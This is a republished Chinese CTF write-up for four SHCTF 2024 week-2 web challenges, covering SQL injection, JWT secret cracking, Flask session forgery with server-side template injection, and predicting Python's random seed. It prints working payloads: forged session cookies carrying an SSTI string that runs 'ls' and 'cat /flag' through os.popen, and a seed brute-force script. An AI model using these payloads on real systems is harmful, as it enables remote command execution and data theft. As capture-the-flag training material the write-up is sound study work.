欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 艺术 > SHCTF-2024-week2-wp(web)

SHCTF-2024-week2-wp(web)

2024/10/23 19:55:05 来源:https://blog.csdn.net/star3119391396/article/details/143093754  浏览:    关键词:SHCTF-2024-week2-wp(web)

SHCTF-2024-week2-wp

web

[Week2]自助查询

考点:sql注入

image-20241019091938307

看到查询语句,直接sql注入

image-20241019092125629

image-20241019092142856

说明只有两列

查看当前数据库

image-20241019092232840

查看’ctf’数据库下面的表

image-20241019092320620

查看’flag’下的字段

image-20241019092356472

查看’scretddata’的内容

image-20241019092506720

根据提示,说明在注释里面

image-20241019092616808

image-20241019092556163

找到flag

SHCTF{5elf_s3RvICe_SEARch_334c747eabdf}

[Week2]登录验证

考点:jwt密钥爆破

image-20241019094834915

image-20241019094844778

进行密码爆破,爆破出密码为admin(账号不是admin会提示不是admin,密码不是admin会提示密码错误)
抓包查看,发现有token

image-20241019143840061

进行jwt密钥爆破,得到密钥为222333

image-20241019143930858

使用密钥加密,把role改成admin,然后替换token发包就能拿到flag
SHCTF{YOu_veRI1lED_Y0U_aRe_yoU_91792c83a742}

[Week2]入侵者禁入

考点:session伪造+SSTI模板注入

image-20241020151519980

分析这段代码,知道Flask的secret.key,想到Flask_session伪造

render_template_string()函数想到SSTI漏洞。

使用flask_session_cookie_manager工具构造payload

python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

修改session就能拿到flag。

[Week2]guess_the_number

考点:随机数

在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数

image-20241020153007442

访问 /s0urce下载源码

import flask
import random
from flask import Flask, request, render_template, send_fileapp = Flask(__name__)@app.route('/')
def index():return render_template('index.html', first_num = first_num)  @app.route('/s0urce')
def get_source():file_path = "app.py"return send_file(file_path, as_attachment=True)@app.route('/first')
def get_first_number():return str(first_num)@app.route('/guess')
def verify_seed():num = request.args.get('num')if num == str(second_num):with open("/flag", "r") as file:return file.read()return "nonono"def init():global seed, first_num, second_numseed = random.randint(1000000,9999999)random.seed(seed)first_num = random.randint(1000000000,9999999999)second_num = random.randint(1000000000,9999999999)init()
app.run(debug=True)

分析可知,生成一个随机数,让我们预测下一个随机数。

在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数

所以可以使用脚本找到种子,然后就能预测下一个随机数

import random# 已知的 first_num
known_first_num = 6296819177# 定义种子的范围
seed_min = 1000000
seed_max = 9999999def find_seed(known_first_num, seed_min, seed_max):for seed in range(seed_min, seed_max + 1):# 用当前种子设置随机数生成器random.seed(seed)# 生成一个随机数first_num = random.randint(1000000000, 9999999999)# 检查生成的随机数是否与已知的相同if first_num == known_first_num:print(f"找到了种子: {seed}")return seedprint("未找到匹配的种子")return None# 调用函数查找种子
found_seed = find_seed(known_first_num, seed_min, seed_max)

image-20241020154220638

根据找到的种子找出下一个随机数

image-20241020153812776

输入拿到flag

SHCTF{th1s_Num8eR_is_EaSy_Gu3Ss_29c737b0d2ae}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com